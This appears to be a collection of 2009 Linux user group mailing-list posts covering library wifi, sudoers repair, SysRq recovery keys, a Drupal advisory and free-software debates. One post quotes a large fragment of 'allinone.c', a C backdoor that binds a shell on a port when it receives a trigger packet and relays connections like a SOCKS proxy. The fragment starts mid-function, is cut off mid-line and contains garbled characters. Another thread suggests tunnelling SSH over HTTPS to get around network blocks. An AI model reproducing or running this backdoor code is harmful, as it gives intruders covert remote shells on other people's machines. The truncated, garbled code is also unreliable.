Re: west side during the summer

[Ryan Rix]

On Mon 22 June 2009 2:41:21 pm Mike Schwartz wrote:
> [3]   the building has free wifi
For Glendale Library cardholders (ie, residents), that is. I 
live at 43rd and Union, thus am unable to use their wifi, 
for example, without paying 40$/year for a card. And I 
don't use that library enough to justify it (just read free 
magazines :3)

Any ideas on how to circumvent that? Anyone have an 
AP they'd be willing to bring/set up?

Ryan
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Re: west side during the summer

[Ryan Rix]

On Mon 22 June 2009 3:47:08 pm Bob Elzer wrote:
> According to this
> http://library.ci.glendale.ca.us/wireless_internet_access.asp
>
> It is FREE
>
> username: guest
> password: Glendale(Capital G)
>

Well well, and all this time I've been just reading magazines!

:)
Ryan
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Re: west side during the summer

[Ryan Rix]

On Mon 22 June 2009 3:55:32 pm Bob Elzer wrote:
> All visitors may use the library 's network free of charge and no
> special encryption settings are required; however, you must abide by the
> library's Internet Use Policy to connect.

Well, last time I was in there, connecting and opening a browser prompted you 
to enter your library card number, and a password. So, idk. If it doesn't 
work, we maybe can bother the librarian for access, or there will be a network 
hub in the room, with any luck.

They block ssh, clever farts. How am i supposed to get in my normal 23hours a 
day of IRC?

Ryan
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Re: west side during the summer

[Ryan Rix]

On Mon 22 June 2009 9:16:52 pm James Mcphee wrote:
> if that's the case, you can use something like corkscrew to fake https
> traffic
>

And there's always mibbit+irssi proxy. That's how I'll connect if it comes 
down to it ;)

(can't change the ssh port, not my machine)

Is this the location we've all agreed upon? http only sucks, but at least it's 
internet.

Ryan
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Re: No root password in Ubuntu 9.04 after updating

[Ryan Rix]

On Tue 23 June 2009 7:58:27 am Clayton Stapleton wrote:
>
> $ sudo bash
> [sudo] password for clay:
> clay is not in the sudoers file.  This incident will be reported.
>
> So how do I enter my name and password into "sudo" file with out a root
> password???
>

You have a borked install, it seems. You should ALWAYS be installed into that 
file if you are the default user. i'd say use the command visudo, but since 
you're not in sudo file, you can't xD

You can boot in recovery mode, mount the partition and add the following line 
to /etc/sudoers
clayALL=(ALL) 

which will give you full root access using sudo, under that account.



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Re: #RE: No root password in Ubuntu 9.04 after updating

[Ryan Rix]

On Tue 23 June 2009 2:45:03 pm Clayton Stapleton wrote:
> Tried to mount the partition but it was already mounted.
> Then entered:
> r...@eagle:~# /etc/sudoers
>
> and got this return
>
> bash:/etc/sudoers:Permission denied.
>
> So I am still at a loss on how to fix this problem!!
>

Gotta use visudo, do to the way its permissions are set up.

# visudo

http://www.yolinux.com/TUTORIALS/LinuxTutorialAdvanced_vi.html
^read to figure out vi^

Ryan
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Re: OT: ICANN and NRO

[Ryan Rix]

Bob Elzer wrote:
> We didn't create it.  Al Gore did.
> 
> lol
>  

:o Look what you did, Bob! *shakes head and walks away ashamed8

You should know better than to mention anything even remotely political.

Ryan

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Re: OT: ICANN and NRO

[Ryan Rix]

On Wed 24 June 2009 12:52:45 pm Bob Elzer wrote:
> How about "OT: Jay and Silent Bob fix global warming" aka "Ice Age 4"
>
> -Original Message-
> From: plug-discuss-boun...@lists.plug.phoenix.az.us
> [mailto:plug-discuss-boun...@lists.plug.phoenix.az.us] On Behalf Of keith
> smith
> Sent: Wednesday, June 24, 2009 12:46 PM
> To: Main PLUG discussion list
> Subject: RE: OT: ICANN and NRO
>
> I'll keep that in mind if I decide to make a movie.  What would I call it?

There fixed it for you.

Ryan
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Re: instant messanger

[Ryan Rix]

On Wed 24 June 2009 1:48:53 pm mike havens wrote:
> Is there an open source way to get instant messaging onto a webpage?
CGI:IRC+bitlbee

cgiirc.org bitlbee.org
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Re: Link to provide proxy portal to Iranians

[Ryan Rix]

On Wed 24 June 2009 3:30:47 pm Lisa Kachold wrote:
> No,
>
> It IS a proxy!
>
> On 6/24/09, Bob Elzer  wrote:
> > Do you need a proxy to get to it. LOL
> >

If you're behind corporate firewall you'd need a proxy to download it ;)
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Re: Link to provide proxy portal to Iranians

[Ryan Rix]

On Wed 24 June 2009 3:37:24 pm Bob Elzer wrote:
> Is that like pointing a video camera at the monitor.

Now I have something to do when i get home :D
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Stop data loss even on system crash? Remember BUSIER

[Ryan Rix]

Hey,

Ever wonder what the SysRq key does on your computer? Most people have no idea 
that this can be one of the biggest lifesavers in a sticky situation.

When your system hardlocks, either from a nasty process, a bug in X, or for 
some other reason, you risk losing gobs of data if you have to take your 
system offline. Journaling filesystems alleviate this issue to some extent but 
data loss is always a huge risk when taking a system down hard.

But, one simple word can help you take this risk to virtually 0 the next time 
you must take a system down hard (holding the power button for 5 seconds): 
BUSIER - or backwards REISUB, more accurately

R - resets the keyboard driver to raw mode
E - Sends term to all running processes
I - sends kill signal to all processes
S - Syncs all mounted partitions
U - unmount the filesystems and remount as read only
B - reboot

Pressing alt-SysRq and the keys above will send a command to the kernel (by 
passing X, applications and other things which may be causing the hardlock. 
This simple method is failsafe and will work in all situations except 
situations in which the kernel is busy, rather than an application. In that 
situation there is little you can do but hope and pray that the Journal holds.

Ryan.

 
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Re: Stop data loss even on system crash? Remember BUSIER

[Ryan Rix]

On Mon 29 June 2009 9:16:52 am Richard Daggett wrote:
> Howdy
>
>  YOu would need to check your kernel settings to see if this is enabled.
>
>  cat /proc/sys/kernel/sysr1 - RHEL 5 it is not enabled by default
>
> Here are more items you can do with it:
>
> 
> (Non-essential.) This is a group of key combinations implemented at the
> Linux kernel level (a low level). It means, chances are these key
> combinations will work most of the time. The combinations are meant for
> debugging purposes and in an emergency (mostly developers); you should try
> other, safer solutions first. The key  is also knows on PC as
> . The combinations can be enabled/disabled by setting the
> relevant kernel variable to "1" or "0", e.g. : echo "1" >
> /proc/sys/kernel/sysrq  Kill all processes (including X)
> which are running on the currently active virtual console. This key
> combination is know as "secure access key" (SAK).  Send the
> TERM signal to all running processes except init, asking them to exit.
>  Send the KILL signal to all running processes except init.
> This may be more successful in killing runaway processes than the previous
> key combination, but it may cause some of them to exit abnormally.
>  Send the KILL signal to all processes, including init. The
> system will not be functional.  Run an emergency sync (cache
> write) on all mounted filesystems. This can prevent data loss.
>  Remount all mounted filesystems as read-only. This has the
> same effect as the sync combination above, but with one important benefit:
> if the operation is successful, fsck won't have to check all filesystems
> after a computer hardware reset.  Turn off keyboard raw
> mode. This can be useful when your X session hangs. After issueing this
> command you may be able to use .  Reboot
> immediately without syncing or unmounting your disks. Your will likely end
> up with filesystem errors.  Shut the system off (if
> configured and supported).  Dump the current registers and
> flags to your console.  Dump a list of current tasks and
> their information to your console.  Dump memory info to your
> console.
> SysRq> The digit is '0' to '9'. Set the console log level,
> controlling which kernel messages will be printed to your console. For
> example, '0' will cause only emergency messages like PANICs or OOPSes
> displayed on your console.  Display help. Also, any other
> unsupported  combination will display the same help.
>
> Richard

Good to now, Richard! Thanks!
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Re: USB Live Ubuntu Persistence

[Ryan Rix]

On Mon 29 June 2009 4:15:45 pm Dazed_75 wrote:
> Mathew, I believe there are several ways to resolve this with the simplest
> being to only ask for 4GB of persistent storage.  The rest of the stick
> should still be usable though you may find it handy to make the rest a
> separate partition and mount it within the LiveUSB Ubuntu.  You should even
> be able to make the mount persistent.

Be sure to mount that by UUID in your fstab, so that the device node doesn't 
change across systems.

What is /dev/sdb1 on one system may be /dev/sdf1 on another.
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Re: PLUG Etiquette

[Ryan Rix]

Lisa Kachold wrote:
> After interacting in PLUG events over the last 3 years here, teaching at
> freegeek.org and running the POWUG for 3 years in Oregon while also after
> interacting in technology for more than 25 years in the trenches, I have
> seen a great deal of bad manners, ineffective competition, and behavior that
> leads anywhere but toward free and open discussion and interaction.
> 
> I have also observed interaction styles and personality types that save a
> group with their fun approach, easy going nature and humanism.
> 
> As you read these you might try not to descend to black and white thinking,
> but see what each type ultimately provides to the group experience.
> 

These are all PLUG misters.
Where are the PLUG Misses? :D

Ryan

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Re: PLUG Etiquette

[Ryan Rix]

JD Austin wrote:
> I think you hit most of the stereotypes :)
> GREAT STUFF!
> 
> This fits more in the workplace:
> 12)  Mr. Make it Up:
> 
> They'll say things like "Sure you can have a 2
> million row Access database no problem!"

I did that once... back when I programmed a search engine. Too bad 
google bought me out.

Ryan

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Re: PLUG Etiquette

[Ryan Rix]

On Tue 30 June 2009 12:38:07 pm mike havens wrote:
> There you go Ryan You'e a #9, #9, #9.
>

But, the question is, is my proprietary software any worse than anything that 
Free software could produce? (8)

Ryan

> On Tue, Jun 30, 2009 at 2:23 PM, Ryan Rix  wrote:
> > JD Austin wrote:
> > > I think you hit most of the stereotypes :)
> > > GREAT STUFF!
> > >
> > > This fits more in the workplace:
> > > 12)  Mr. Make it Up:
> > >
> > > They'll say things like "Sure you can have a 2
> > > million row Access database no problem!"
> >
> > I did that once... back when I programmed a search engine. Too bad
> > google bought me out.
> >
> > Ryan
> >
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Re: PLUG Etiquette

[Ryan Rix]

> DISCLAIMER:
>
> Mr. is used in a purely androgynous way!  I was referring to no ONE person,
> but attributes perhaps shared by all (self included).  I was in no way
> lampooning YOU, so please do not take offense.

But I'm a dude.


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Re: ot look at what I found today

[Ryan Rix]

Lisa Kachold wrote:
> I LOVE LOVE LOVE it!
> 
> http://www.obnosis.com/motivatebytruth/linux-communism.jpg
> 

Well, I guess I'm red today!

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Re: ot look at what I found today

[Ryan Rix]

Eric Shubert wrote:
> I don't get it.
> Linux = Freedom != Communism
> 

We should share everything equally?

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Re: ot look at what I found today

[Ryan Rix]

Eric Shubert wrote:
> I don't get it.
> Linux = Freedom != Communism
> 
Or more correctly: It doesn't fit the capitalistic paradigm that most 
people associate with capitalism, thus MUST be communism

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Re: Shell Account

[Ryan Rix]

On Thu 2 July 2009 12:17:00 pm JD Austin wrote:
> Gotta love when people are too dumb to change their handle :)
>

Lisa, Bob, JD:
Please pull those sticks out of your asses. Thanks. Calling someone dumb on a 
public mailing list is simply unacceptable. 

Now, Vamp's been on the #plugaz IRC channel on Freenode for a while now 
(longer than I have, at any rate). I've talked a lot with him and the guy's 
got good intents, and is not someone to do such things as you guys accuse him 
of WITH NO REASON OR INTENT besides JD's belief he should use cygwin and 
Lisa's infinite paranoia.

If he really was intent on LAWL HACKING MY BOX BECAUSE I GAVE HIM SHELL ACCESS 
LAWL OMG HAX IM SO SCARED FOR ALL MY DATA WHICH WOULD BE SO POWERFUL IN HIS 
HANDS OMG ITSIMPORTANT THAT I FLAME HIM AND CALL HIM DUMB FOR ASKING A SIMPLE 
QUESTION he would, with your shell or not. I'm sure you're all running the 
latest patches on all of your services, after all.

e_e,
Ryan

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Re: ot look at what I found today

[Ryan Rix]

On Thu 2 July 2009 11:22:19 am JD Austin wrote:
> Just when I thought SCO was dead I went to their website.. nope :(
>

Yeah, they got bought out by some patent troll who was stupid enough to 
believe they could make some money off of saving SCO from bankruptcy. lol.

Ryan
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Re: Shell Account

[Ryan Rix]

On Thu 2 July 2009 1:19:35 pm JD Austin wrote:
> Any machine can be compromised from the inside with enough time.
> I grew up with hackers for friends so I understand how they operate.
> He may be a great guy without any ill intentions...
> go ahead and give him a shell account on your box :)

I would but my only box is a laptop.
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Re: Shell Account

[Ryan Rix]

 >And yes I do see the black helicopters overhead, but it's ok, I've got 
 >my tin foil hat on.

Still have the black helicopters as your desktop background? ;)

22:03 ( PhrkOnLsh) VampirePenguin: for my benefits, why aren't you 
putting a shell on that arch mirror?
22:04 ( PhrkOnLsh) i asked you before but forgot xD
22:05 ( VampirePenguin) conficts with other servers in the building
22:06 ( VampirePenguin) i sstill dont have the ports right yet for ftp
22:07 ( VampirePenguin) they are hitting ohter boxes or disappearing
22:07 ( PhrkOnLsh) running ssh on a random port?
22:07 ( VampirePenguin) i do
22:07 ( PhrkOnLsh) strange
22:07 ( VampirePenguin) well its not my ntwork
22:08 ( VampirePenguin) and the person whos network it is.. wont be back 
for another month

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Re: Shell Account

[Ryan Rix]

Joe wrote:
> I assume his plan is to keep the screen session up on a remote machine
> and bounce around to different machines, continuing to log in to the one
> remote machine and restore the screen session. I think we've probably
> all done that, but perhaps we've all been fortunate enough to HAVE the
> remote machine to do it with and he is not.
> 
> Could he do this from his machine at home? Maybe, but it's also possible
> that, being out of work, he doesn't have broadband access from home
> anymore. Or, maybe his ISP blocks it completely. Could he skirt it?
> Probably, but why break their TOS if someone is kind enough to offer up
> simple shell access for him?
> 
> If you read the entire IRC transcript from the link, you (at least I)
> get the impression that he's trying to help people SECURE their systems,
> not hack in to them. Just because he mentioned cracklib, which clearly
> has a legitimate purpose, you all flew off the handle. Seems kinda silly
> to me...
> 
> He asked an honest question, I don't see why everyone saw fit to attack
> him. If you don't want to give him a shell, then don't. 'Nuff said.

Amen.

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Ooops, need a one liner!

[Ryan Rix]

Hey guys,

I recently recovered about 20gb of ogg music off of my old laptop (or rather, 
a backup of it existing on my dad's computer) and decided to merge it with my 
current collection, which is about 90% mp3. I didn't think before I merged 
them, but I ended up creating about 20 albums where the tracks exist in both 
OGG and MP3. Also, it appears that MANY of the tags on the ogg music are 
absolutely cooked (or amarok's database is)

So, does anyone know a way that I can take bash and tell it to:

Find all the ogg files in ~/music, move them, while creating the same 
directory structure, under ~/ogg-music ?

I'd use amarok's organize files utility, but it dies horridly on this many 
files.

(I'll be out all day, and perhaps all weekend, so pardon me if I don't 
immediately reply.)

Ryan
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Re: Ooops, need a one liner!

[Ryan Rix]

On Fri 3 July 2009 4:14:52 pm Joseph Sinclair wrote:
> mkdir ~/ogg-music
> cd ~/music
> find * -type d -exec mkdir -p ../music-ogg/'{}' \;
> find * -name '*.ogg' -exec mv '{}' ../music-ogg/'{}' \;
>
>
> Be sure to preserve the quoting above or it may not work...

Sweet! I tried something similar (in one find, which failed hardcore) but that 
worked! Thanks!
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Re: Tracking file storage space use

[Ryan Rix]

On Mon 6 July 2009 9:19:09 am Eric Shubert wrote:
>
> I would think that a periodic find command could suffice. You could
> write a find command that would "find all of the files over 1 gig that
> were created in the last 24 hours", then put it in cron.daily/. You can
> tailor the find command to suit your situation.

Unless it's a TON of smaller files (torrents, etc?)
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DRUPAL-SA-CORE-2009-007

[Ryan Rix]

Multiple issues, time for an update, all you Drupal users!

Cross-site scripting

The Forum module does not correctly handle certain arguments obtained from the 
URL. By enticing a suitably privileged user to visit a specially crafted URL, 
a malicious user is able to insert arbitrary HTML and script code into forum 
pages. Such a cross-site scripting attack may lead to the malicious user 
gaining administrative access. Wikipedia has more information about cross-site 
scripting (XSS).

This issue affects Drupal 6.x only

http://drupal.org/node/507572

Ryan
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Re: DRUPAL-SA-CORE-2009-007

[Ryan Rix]

On Mon 6 July 2009 1:20:39 pm Lisa Kachold wrote:
> WE don't run forums on the PLUG site Ryan.
>
> There are a great many exploits in all manner of Drupal 4,5,6 modules and
> we fairly well know them for the PLUG site.
>

WE don't but others may ;) If it was something that would affect the actual 
PLUG I would have probably just sent you and Hans a mail offlist.

No worries, just putting the info out there
Ryan
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Re: DRUPAL-SA-CORE-2009-007

[Ryan Rix]

On Mon 6 July 2009 1:38:33 pm Lisa Kachold wrote:
> Yes, and those are just the known issues.
>
> Run sql injection tools and tests and see where one gets?
>
> There really are a great many problems and potential issues (due to failure
> to install correctly) and php/mysql web system.
>
> On Mon, Jul 6, 2009 at 1:22 PM, Stephen  wrote:
> > i think this is for all the others of us running drupal as much as for
> > the plug drupal
> >
> > but both bits of info was great.

Lisa,

And not everyone who runs Drupal may keep up on SA's, or be major security 
experts, so it can't really hurt for me to post one or two every once in a 
while.

Or am I wrong in saying this?

Ryan
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Re: Laptop (cell phone) in my pocket?

[Ryan Rix]

kitepi...@kitepilot.com wrote:
> I have been talking to the Openmoko mailing list, the very CEO (or something 
> like that) personally answered my questions.
> I did talk to people that have used the phone for months.
> They say it is reliable, flexible, and will take a USB keyboard!   :)
> It is just a embedded Linux puter with phone capabilities.
> And a full blown VGA screen (does anybody here remember CGA?)  ;-) 
> 
> I'm getting a Neo Freerunner...
> Thanks!
> ET 

Can you get me one too? ;)

I think i'll be getting one at the end of summer and putting a TMo 
prepaid card in it. That looks like one heck of a phone. Get a DBoard 
for it too ;)

Ryan

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Re: Laptop (cell phone) in my pocket?

[Ryan Rix]

On Tue 7 July 2009 9:54:18 am kitepi...@kitepilot.com wrote:
> >> Can you get me one too? ;)
>
> Maybe, are you cute enough?
> Can you send my a picture in a pink miniskirt?   ;-P
> ET
>

Mm, email me offlist ;D

lol, yeah, I think the phone works on TMobile, for sure, probably AT&T. Just 
pop the SIM in there.

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Re: OT: (sort of) Village in is now THE editor!

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On Tue 7 July 2009 7:28:22 pm Alan Dayley wrote:
> Some say, the
> only true text editor.
>

"Some say"?? psh. God coded the universe using vi.
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Re: Old computer users (Was: Re: Laptop (cell phone) in my pocket?)

[Ryan Rix]

On Tue 7 July 2009 6:53:41 pm Alan Dayley wrote:
> On Tue, Jul 7, 2009 at 4:50 PM,
>
> kitepi...@kitepilot.com wrote:
> > Did it..
> > Remember when I (AWE...) saw the firs CGA and flew M$ Flight Simulator IN
> > COLORS!!!
> > All 8 of them!   8)
>
> It was WAY COOL!
>
> >>> Before that it was on a dot matrix printer with a keyboard.  Get it
> >>> right quick or you waste a lot of paper!
> >
> > Man, you *ARE* older than dirt!   ;-)
>
> Our high school had one of these beauties:
>
> http://www.omnidatasys.net/product/spec_printer_ti820.htm
>
> When the terminals acted up, we could use this to get on the district
> main frame.  It was already old then, but not yet uncommon.
>
> Alan

Thank you for changing the subject line ;)

The funny thing about all of this, and talking to the retro hacker guy who 
sits next to me at work, is that I know what all of you are talking about, and 
I'm only 17. Not sure that's depressing or not xD

I guess that's what happens when you have the Jargon file and various 
'history' books and lore saved to your desktop and your pda for idle reading 
;)

Ryan
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Re: Google Chrome OS on Linux

[Ryan Rix]

On Tue 7 July 2009 10:24:10 pm Alan Dayley wrote:
> Google announced the concept of a new operating system they are
> calling Google Chrome OS.
>
> http://googleblog.blogspot.com/2009/07/introducing-google-chrome-os.html
>
> "The software architecture is simple — Google Chrome running within a
> new windowing system on top of a Linux kernel. For application
> developers, the web is the platform."
>
> Will be Open Source with netbooks using it by 2nd half of 2010.
>
> Exciting!

And so begins the destruction of Free software :(

Moving to the cloud (using the linux kernel, no less!) will only make it 
easier to provide closed and proprietary systems to the user. Sure, they may 
be free as in beer, but try getting a hold of the sourcecode for gmail, or 
flickr, or facebook. You can't. Yet, these dominate the world of even 
GNU/Linux free software nuts. The web is not as open and free of a place that 
the world makes it out to be.

All in all, a scary turn, and I fear that google is silently breaking its 
"don't be evil" mantra, though its doing it in the slyest and most profound 
way: By using free software against itself. I suppose it's time to do as Bob 
Elzer says and "be a real man" and set up dIMAP account on KMail...

A sad day, imo,
Ryan
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Re: Google Chrome OS on Linux

[Ryan Rix]

Tuna wrote:
> Top posting as a crazed act of revenge,
D:<

> 
> I'm actually with Ryan on this one. 
:O What??

> Open Source is almost trendy,
> largely because of Google and their Android platform. Now netbook owners
> everywhere will brag about their Linux-based open source operating
> system, forgetting the freedoms they give up with could computing. And
> people ask my why I hate Google (nothing personal, I know Google peeps
> watch this list, I just don't like your employer).
Open Source *IS* trendy. Open Source has been trendy since Firefox. And 
I don't even consider Firefox Free Software in its most liberal sense. 
As more and more 'regular' people get involved and become users (as the 
OSI, FSF and all the

> 
> There was an article in last month's Free Software Foundation Bulletin
> about Free network services. Featured were Libre.fm and Identi.ca, Free
> software replacements for last.fm and Twitter, respectively. I guess
> that's all we can do, get creative web people on our side, using the
> AGPL.
Even with the Affero, it doesn't really help the regular user without a 
webserver or anything to run a webservice on. You can't just turn 
around, pop it into GCC and say "here I go, a new veresion of 
Identi.ca!" It's just not that simple. So, the majority of users will be 
bound to nonfree (in my view, anyways) software.

The Affero misses out on an important point, imo: How can a user be 
granted the same freedom as the software creators without putting either 
at risk? How do you deal with, if you somehow find a way to allow the 
users' modifications to run on the software developer's dataset (as it 
should!) without the risk of comprimising others' data. Virtualization 
could play a huge part here, but it is only half the battle.

> 
> Jesus, I miss the days of finger. Social networking done right!
Were you even born back then? :P

Ryan

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Re: Google Chrome OS on Linux

[Ryan Rix]

On Wed 8 July 2009 4:06:14 pm Francis Earl wrote:
>
> The entire system will be open sourced, so everything necessary for
> innovation will be available to developers. I've never really sold into the
> whole "Open Source EVERYTHING!" mantra, I simply don't care provided the
> software strictly adheres to standards. With the platform being the web, it
> will be sort of difficult for that not to happen.
>
> If you limit yourself to open source software, you're doing yourself an
> injustice. 

And there, m'lad, is the difference between you and I: I think you are doing 
yourself an injustice by limiting your freedoms. I think you're doing yourself 
an injustice by relying on 3rd parties for everything, and have no freedom to 
adapt the software to your needs, no freedom to use the software as you 
please...

But, hey, the freedom to give up your freedom is indeed a freedom.

I'm oldschool like that; I think I would have a hell of a fun time at MIT's AI 
Lab; I was probably born in the wrong decade. But, software, to me, is 
befitting of the (early) american ideal that "all men" (developers and users) 
are created equal. As long as they are white and landowning males. ;D

Ryan
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Re: [Slightly OT] General Email Question

[Ryan Rix]

Bob Elzer wrote:
> Thank god we don't have
> FLASHING subject lines, but for some people it is needed.
>  
> 

Sounds like a good extension to the HTML mail 'standard' ;) HTML subject 
lines? How about MIME Encoded? Just MIME encode all of the headers?

Re: Free V!4Ģ®4

Sounds like a nice thunderbird extension. Think that would escape google 
spam filters? :P

Ryan

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Re: EAST side (Was: Re: west side tonight)

[Ryan Rix]

der.hans wrote:
> Am 09. Jul, 2009 schwätzte Alan Dayley so:
> 
> moin moin,
> 
>> This is for the East Side Meeting.  Just clarifying a typo.
> 
> Yes, it's the east side. Wasn't a typo, most definitely a thinko :).
> 
> ciao,
> 
> der.hans
> 
> 

I was going to say... Strange date for a WSM. Even stranger location! :)

Ryan

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Re: Google Chrome OS on Linux

[Ryan Rix]

Francis Earl wrote:
> Thing is, why should your freedoms be any more important than the original 
> authors who has chosen not to open source his code? He has that right, and if 
> his product is superior to alternatives, why wouldn't you use it?
Did King George have the freedom to rule pre-revolutionary America the 
way he did? Sure, but does that make it decent or right? We have the 
nation we have today (sic) because of those ideals and beliefs that made 
Americans Americans, and not Brits. The beliefs that everyone should be 
equal and that no one should have absolute control over anyone else. And 
that is what Free Software is about. That's what it was created to do 
nigh on 26 years ago, regardless of what the OSI and the Open Source 
movement has done to it.
I know I'm in the minority here, using GNU/Linux under the banner of 
Free Software (my freedom is important) and not Open Source (powerful 
applications that I can develop on using the open source method are 
important), but my freedoms are damn important.

> When open source and closed source options are equal, I will choose the open 
> software every time, but if that open source alternative is simply weaker, 
> who 
> is really seeing the injustice?
Injustice is a funny word. Is it an injustice that you cannot further 
improve on that application should you want to? Is it an injustice to be 
unsure of whether your data is safe from the likes of third parties and 
unscrupulous coders?
Weaker is a funny word, too. Do you gauge strength on features? On the 
stability of software? Do you gauge it on the ability of the authors to 
support the software? Do you gauge it on the future maintainability of 
systems running that software? All of these things can vary wildly in 
proprietary software. Very rarely is there vapourware/abandonware in 
Free software, but you see that all too often in proprietary ecosystems. 
And the majority of the time all you are left with is an ancient binary 
and a headache as you search for another alternative.

Ryan

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Colleges that support Free Software?

[Ryan Rix]

Hi guys,

I am going to be a senior in high school next year so it is time for me to 
start looking at which colleges I would be interested in attending.
Basically I am looking to take up a degree in CS, simple and easy.

One of the factors I'd like to look into in regards to those colleges I apply 
at is how do they support Free Software in their CS curriculum. It's fairly 
important to me that I am able to develop under a Free operating system in the 
CS courses that I choose to take, and am not forced to develop under Windows.

Does anyone have any experince with Free Software universities, or any 
resources that have information on them?

Ryan


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Re: Linux Security Team Toy Series: allinone.c

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   fromlen = sizeof(from);
>   if((size = recvfrom(s, pkt, sizeof(pkt), 0, (struct 
> sockaddr
> *)&from, &fromlen)) < 0)
>   printf("", size - 28);
>   }while(size != SIZEPACK + 28);
>
>   /* size == SIZEPACK, let's bind the shell on your port :)*/
>   switch(fork())
>   {
>   case -1:
>   continue;
>
>   case 0:
>   bind_shell(port);
>   exit (0);
>   }
>   }
>   return 1;
> }
>
> /* tran socks code */
> int socks(int listenp, char *targeth, int targetp)
> {
>   int listfd, outside, inside, size;
>   pthread_t thread1;
>   struct sockaddr_in client;
>
>   if(!(listfd = create_socket())) exit(1);
>   if(!(create_serv(listfd, listenp))) exit(1);
>
>   for(;;)
>   {
>   size = sizeof(struct sockaddr);
>   /*printf("waiting for response.\n");*/
>   if((outfd = accept(listfd, (struct sockaddr *)&client, &size)) 
> < 0)
>   {
>   /*printf("accept error\n");*/
>   continue;
>   }
>
>   /*printf("accept a client from %s\n", 
> inet_ntoa(client.sin_addr));*/
>   if(!(infd=create_socket())) exit(1);
>   if(!(client_connect(infd, targeth, targetp))) quit(outfd, infd, 
> listfd);
>
>   maxfd = max(outfd, infd) + 1;
>   pthread_create(&thread1, NULL, (void *)&out2in, NULL);
>   }
>   close(listfd);
> }
>
> int create_socket()
> {
>   int sockfd;
>
>   if((sockfd = socket(AF_INET, SOCK_STREAM, 0))<0)
>   {
>   /*printf("Create socket error\n");*/
>   return(0);
>   }
>   return(sockfd);
> }
>
> int create_serv(int sockfd, int port)
> {
>   struct sockaddr_in srvaddr;
>
>   bzero(&srvaddr, sizeof(struct sockaddr));
>   srvaddr.sin_port = htons(port);
>   srvaddr.sin_family = AF_INET;
>   srvaddr.sin_addr.s_addr = htonl(INADDR_ANY);
>
>   if(bind(sockfd, (struct sockaddr *)&srvaddr, sizeof(struct sockaddr))<0)
>   {
>   /*printf("Bind to port %d error\n",port);*/
>   return(0);
>   }
>
>   if(listen(sockfd,CONNECT_NUMBER)<0)
>   {
>   /*printf("listen error\n");*/
>   return(0);
>   }
>   return(1);
> }
>
> int client_connect(int sockfd, char *server, int port)
> {
>   struct sockaddr_in cliaddr;
>   struct hostent *host;
>
>   if(!(host = gethostbyname(server)))
>   {
>   /*printf("gethostbyname error:%s\n",server);*/
>   return(0);
>   }
>
>   bzero(&cliaddr, sizeof(struct sockaddr));
>   cliaddr.sin_family = AF_INET;
>   cliaddr.sin_port = htons(port);
>   cliaddr.sin_addr = *((struct in_addr *)host->h_addr);
>
>   if(connect(sockfd, (struct sockaddr *)&cliaddr, sizeof(struct 
> sockaddr)) <
> 0) {
>   /*printf("connect %s:%d error\n",server,port);*/
>   return(0);
>   }
>   return(1);
> }
>
> int quit(int a, int b, int c)
> {
>   close(a);
>   close(b);
>   close(c);
>   exit(1);
> }
>
> void out2in()
> {
>   struct timeval timeset;
>   fd_set readfd, writefd;
>   int result, i = 0;
>   char read_in1[MAXSIZE], send_out1[MAXSIZE];
>   char read_in2[MAXSIZE], send_out2[MAXSIZE];
>   int read1 = 0, totalread1 = 0, send1=0;
>   int read2 = 0, totalread2 = 0, send2=0;
>   int out_fd, in_fd;
>
>   out_fd = outfd;
>   in_fd = infd;
>
>   bzero(read_in1, MAXSIZE);
>   bzero(read_in2, MAXSIZE);
>   bzero(send_out1, MAXSIZE);
>   bzero(send_out2, MAXSIZE);
>
>   timeset.tv_sec = TIMEOUT;
>   timeset.tv_usec = 0;
>
>   while(1)
>   {
>   FD_ZERO(&readfd);
>   FD_ZERO(&writefd);
>
>   FD_SET(out_fd, &readfd);
>   FD_SET(in_fd, &writefd);
>   FD_SET(out_fd, &writefd);
>   FD_SET(in_fd, &readfd);
>
>   result = select(maxfd, &readfd, &writefd, NULL, °¡et);
>   if(result < 0)
>   {
>   /*printf("select error\n");*/
>       ret

Re: OT: Shirts!

[Ryan Rix]

On Sun 12 July 2009 10:33:58 pm Lisa Kachold wrote:
> Anyone have a good README shirt idea for FOSS ABLEconf?
>
> You don't suppose ABELconf would let me run a whole Tee shirt/swag booth?
Ask in ABLEconf's discuss mailing list ;)

>
> http://www.obnosis.com/motivatebytruth/grandma.jpg
>
> http://www.obnosis.com/motivatebytruth/linux-communism.jpg
>
> http://dnsproblem.spreadshirt.net/en/NL/Shop/Article/Index/article/Everythi
>ng-is-a-1589446
>
>
> Segment 9786902 of the Laugh at Randal Schwartz Series:
> Jono Bacon,
> community manager for Ubuntu (who has a wonderful accent!)
Isn't that the guy who did the heavy metal version of the Free Software Song?
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Re: OT: The palm PRE ("with webOS")

[Ryan Rix]

Mike Schwartz wrote:
> I don't know anything about this [new?] "PRE" phone:
> http://www.palm.com/us/products/phones/pre/
> but I heard something about it, today, while I was on hold
> with "Sprint PCS" customer service.
> 
> ((my daughter's [Sprint] cell phone had been in a status
>   of "lost or stolen" -- we didn't know which.  We had
>   it disabled, since it might have been "stolen".
>   Now, it has been found.  So, the call today
>   to "Sprint PCS" customer service, was to have
>   the phone re-enabled.))
> 
> The reason I am writing here (to PLUG) is that I saw sopmething
> that is maybe not "100%" OT ["off topic"].  A blurb for a video
> (http://www.youtube.com/watch?v=JRnlzbuLRwM)
> on YouTube about this "PRE" phone,
> (that showed up among the "hits" from a search engine) said
> << "
> *Palm Pre* 
> 3
> min 6 sec - Jan 8, 2009 -
> 
> [image: Rated 4.5 out of 5.0]
> 
> 
> Here is a video tour of the *Palm Pre* with webOS
> 
> " >>
> ...and the part about "webOS" struck me as potentially sorta "software
> related".
> 

Hi,

Planning on getting one within a few weeks.

It runs GNU/Linux in the core.
It's possible currently to hack it into Verizon's network (voice only, 
no data, atm :( )
It's possible to set up Debian chroot on the phone.

You can do all sorts of fun things under the hood with it. Plus 
developing for it ain't half bad (using html/js/css and palm's "mojo" 
framework)

Ryan

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Re: OT: Shirts!

[Ryan Rix]

On Mon 13 July 2009 7:37:43 pm Bob Elzer wrote:
> How about:  "My manager went to ABLEconf, and all I got was this stupid tee
> shit.  Oh and a bunch of FREE Software"
>

I like that one :)

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Re: Linux Magic Jack?

[Ryan Rix]

On Tue 14 July 2009 9:19:56 am mike havens wrote:
> done but can I hook up a cell phone. Not just forward to an existing
> cell phone.
>
> On Tue, Jul 14, 2009 at 12:12 PM, Bob Elzer  wrote:
> >  Just go here and sign up for an invite. They have started sending them
> > out. I just can't tell you how long it will be though.
> >
> > http://www.google.com/googlevoice/about.html

dialout on android: http://bit.ly/AzCrv

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Re: Linux Magic Jack?

[Ryan Rix]

mike havens wrote:
